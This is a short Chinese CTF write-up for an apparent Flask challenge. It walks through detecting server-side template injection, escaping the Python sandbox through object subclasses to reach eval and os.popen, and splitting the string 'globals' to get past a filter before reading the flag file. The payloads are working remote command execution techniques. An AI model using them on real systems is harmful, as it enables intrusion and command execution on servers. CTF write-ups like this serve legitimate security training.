查看首页源代码,提示需要get传参search,尝试传参123,发现直接在页面回显
猜测为SSTI漏洞,构造参数,确定为SSTI漏洞
payload
?search={{7*7}}
由题名得知该网站使用flask框架搭建,所以现在的思路就是利用SSTI构造python沙箱逃逸,执行系统命令cat flag
先获取到顶层基类object:[].__class__.__base__,然后使用__subclasses__查看object的所有子类,找到warnings.catch_warnings类(一般位于[59]),因为我们可以通过warnings.catch_warnings的构造函数(即__init__方法)的__globals__属性访问全局命名空间,即我们能够访问__builtins__字典,从而获取eval函数
有了上面的前置知识,构造代码进行目录读取
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
但是发现服务器返回500,疑似存在waf,进行fuzz测试后,发现globals被过滤,我们进行拆分
{{[].__class__.__base__.__subclasses__()[59].__init__['__g'+'lobals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
获取到flag的位置后,直接getflag
payload
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
加油,争取明天写两道题